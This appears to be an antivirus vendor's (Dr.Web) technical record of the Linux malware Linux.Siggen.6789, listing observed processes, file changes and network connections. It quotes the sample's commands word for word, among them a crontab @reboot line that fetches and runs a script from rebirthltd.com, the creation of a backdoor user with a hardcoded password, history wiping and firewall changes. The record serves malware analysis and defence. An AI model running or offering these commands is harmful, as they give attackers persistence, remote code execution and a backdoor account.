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Linux.Siggen.6789

Aggiunto al database dei virus Dr.Web: 2024-03-18

La descrizione è stata aggiunta:

Technical Information

Malicious functions:
Launches itself as a daemon
Substitutes application name for:
  • /bin/bash
Launches processes:
  • /usr/bin/netkit-ftp ftp -n
  • /bin/sh -c firewall-cmd --zone=public --add-rich-rule=\x27rule family=\x22ipv4\x22 port protocol=\x22tcp\x22 port=\x2237215\x22 reject\x27
  • /bin/sh -c netsh advfirewall firewall add rule name=\x22Block_Port_37215_TCP\x22 dir=in action=block protocol=TCP localport=37215
  • /bin/sh -c echo \x22block drop in quick on any from 141.98.10.128\x22 | sudo pfctl -f -
  • /bin/sh -c netsh advfirewall firewall add rule name=\x22Block_IP_141.98.10.128\x22 dir=in action=block remoteip=141.98.10.128
  • crontab -
  • /sbin/xtables-multi iptables -A INPUT -p tcp --dport 59666 -j DROP
  • /bin/sh -c firewall-cmd --zone=public --add-port=59666/udp --permanent
  • /bin/sh -c echo \x22block drop proto tcp from any to any port 59666\x22 | sudo pfctl -f -
  • /bin/sh -c history -c
  • /bin/sh -c nft add rule ip filter input ip saddr 141.98.10.128 drop
  • crontab -l
  • /bin/sh -c firewall-cmd --zone=public --add-rich-rule=\x27rule family=\x22ipv4\x22 port protocol=\x22udp\x22 port=\x2237215\x22 reject\x27
  • /sbin/xtables-multi iptables -A INPUT -p udp --dport 59666 -j DROP
  • useradd -m Signalbot
  • /bin/sh -c echo \x22block drop proto udp from any to any port 59666\x22 | sudo pfctl -f -
  • /bin/sh -c nft add rule ip filter input udp dport 37215 drop
  • /bin/sh -c iptables -A INPUT -s 141.98.10.128 -j DROP
  • /sbin/xtables-multi iptables -A INPUT -p udp --dport 37215 -j DROP
  • /bin/sh -c ufw deny 59666/tcp
  • /bin/sh -c netsh advfirewall firewall add rule name=\x22Block_Port_59666_TCP\x22 dir=in action=block protocol=TCP localport=59666
  • /bin/sh -c iptables -A INPUT -p udp --dport 59666 -j DROP
  • /bin/sh -c echo \x22block drop proto udp from any to any port 37215\x22 | sudo pfctl -f -
  • /bin/sh -c ufw deny from 141.98.10.128
  • /bin/sh -c nft add rule ip filter input udp dport 59666 drop
  • /bin/sh -c netsh advfirewall firewall add rule name=\x22Block_Port_59666_UDP\x22 dir=in action=block protocol=UDP localport=59666
  • /bin/kmod /sbin/modprobe ip_tables
  • /bin/sh -c ufw deny 37215/tcp
  • /bin/sh -c netsh advfirewall firewall add rule name=\x22Block_Port_37215_UDP\x22 dir=in action=block protocol=UDP localport=37215
  • /bin/sh -c firewall-cmd --reload
  • /bin/sh -c (crontab -l ; echo \x22@reboot /bin/bash -c \x22/bin/wget http://rebirthltd.com/bins.sh; chmod 777 /bin/bins.sh; /bin/sh /bin/bins.sh; /bin/curl -k -L --output /bin/bins.sh http://rebirthltd.com/bins.sh; chmod +x /bin/bins.sh; /bin/sh /bin/bins.sh\x22\x22) | crontab -
  • /bin/sh -c echo \x22block drop proto tcp from any to any port 37215\x22 | sudo pfctl -f -
  • /sbin/xtables-multi iptables -A INPUT -s 141.98.10.128 -j DROP
  • ftp -n
  • /bin/sh -c iptables -A INPUT -p tcp --dport 59666 -j DROP
  • /sbin/xtables-multi iptables -A INPUT -p tcp --dport 37215 -j DROP
  • /bin/sh -c ufw deny 37215/udp
  • /bin/sh -c iptables -A INPUT -p tcp --dport 37215 -j DROP
  • /bin/sh -c echo \x22127.0.0.1 fucktheccp.top\x22 >> /etc/hosts
  • /bin/sh -c echo \x22127.0.0.1 reachedfucktheccp.top\x22 >> /etc/hosts
  • sudo pfctl -f -
  • /bin/sh -c nft add rule ip filter input tcp dport 37215 drop
  • /bin/sh -c useradd -m Signalbot
  • /bin/sh -c firewall-cmd --zone=public --add-port=59666/tcp --permanent
  • chpasswd
  • /bin/sh -c nft add rule ip filter input tcp dport 59666 drop
  • /bin/sh -c firewall-cmd --zone=public --add-source=141.98.10.128 --permanent
  • /bin/sh -c ufw deny 59666/udp
  • /bin/sh -c echo \x22Signalbot:ufobotz1337\x22 | chpasswd
  • /bin/sh -c iptables -A INPUT -p udp --dport 37215 -j DROP
Performs operations with the file system:
Modifies file access rights:
  • /home/Signalbot
  • /home/Signalbot/.bashrc
  • /home/Signalbot/.profile
  • /home/Signalbot/.bash_logout
  • /etc/passwd+
  • /etc/shadow+
  • /etc/group+
  • /etc/gshadow+
  • /etc/subuid+
  • /etc/subgid+
  • /etc/nshadow
Modifies file owner:
  • /home/Signalbot
  • /home/Signalbot/.bashrc
  • /home/Signalbot/.profile
  • /home/Signalbot/.bash_logout
  • /etc/passwd+
  • /etc/shadow+
  • /etc/group+
  • /etc/gshadow+
  • /etc/subuid+
  • /etc/subgid+
  • /etc/nshadow
Creates folders:
  • /home/Signalbot
Deletes folders:
  • /xconsole
  • /null
Creates symlinks:
  • /etc/passwd.lock
  • /etc/group.lock
  • /etc/gshadow.lock
  • /etc/subuid.lock
  • /etc/subgid.lock
  • /etc/shadow.lock
Creates or modifies files:
  • /self
  • /proc/833/cmdline
  • /etc/.pwd.lock
  • /etc/passwd.835
  • /etc/group.835
  • /etc/gshadow.835
  • /etc/subuid.835
  • /etc/subgid.835
  • /etc/shadow.835
  • /var/log/faillog
  • /var/log/lastlog
  • /home/Signalbot/.bashrc
  • /home/Signalbot/.profile
  • /home/Signalbot/.bash_logout
  • /etc/passwd-
  • /etc/passwd+
  • /etc/shadow-
  • /etc/shadow+
  • /etc/group-
  • /etc/group+
  • /etc/gshadow-
  • /etc/gshadow+
  • /etc/subuid-
  • /etc/subuid+
  • /etc/subgid-
  • /etc/subgid+
  • /etc/nshadow
  • /etc/sudoers
  • /ip_addresses.txt
  • /etc/hosts
  • /dev/full
Deletes files:
  • /etc/passwd.835
  • /etc/group.835
  • /etc/gshadow.835
  • /etc/subuid.835
  • /etc/subgid.835
  • /etc/shadow.835
  • /xconsole
  • /etc/shadow.lock
  • /etc/passwd.lock
  • /etc/group.lock
  • /etc/gshadow.lock
  • /etc/subuid.lock
  • /etc/subgid.lock
  • /null
Changes time of creation/access/modification of files:
  • /home/Signalbot/.bashrc
  • /home/Signalbot/.profile
  • /home/Signalbot/.bash_logout
  • /etc/passwd-
  • /etc/shadow-
  • /etc/group-
  • /etc/gshadow-
  • /etc/subuid-
  • /etc/subgid-
Network activity:
Awaits incoming connections on ports:
  • 127.0.0.1:8345
Establishes connection:
  • 8.#.8.8:53
  • [:##]:37215
  • 127.0.0.1:37215
  • [:##]:59666
  • 127.0.0.1:59666

Curing recommendations


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